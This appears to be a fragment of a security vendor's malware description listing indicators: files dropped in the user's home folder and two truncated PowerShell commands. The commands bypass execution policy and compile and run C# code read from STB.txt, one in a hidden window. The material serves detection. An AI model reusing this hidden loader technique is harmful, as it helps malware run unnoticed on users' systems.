Technical Information
- %HOMEPATH%\stb.txt
- %HOMEPATH%\data.txt
- %HOMEPATH%\avcorptrc1\avcorptrc1.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -command ""sleep 4;$source = Get-Content "$env:UserProfile\STB.txt" -Raw; Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source -Language CSharp; [He...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -command ""sleep 4;$source = Get-Content "$env:UserProfile\STB.txt" -Raw; Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source -Language CSharp; [He...' (with hidden window)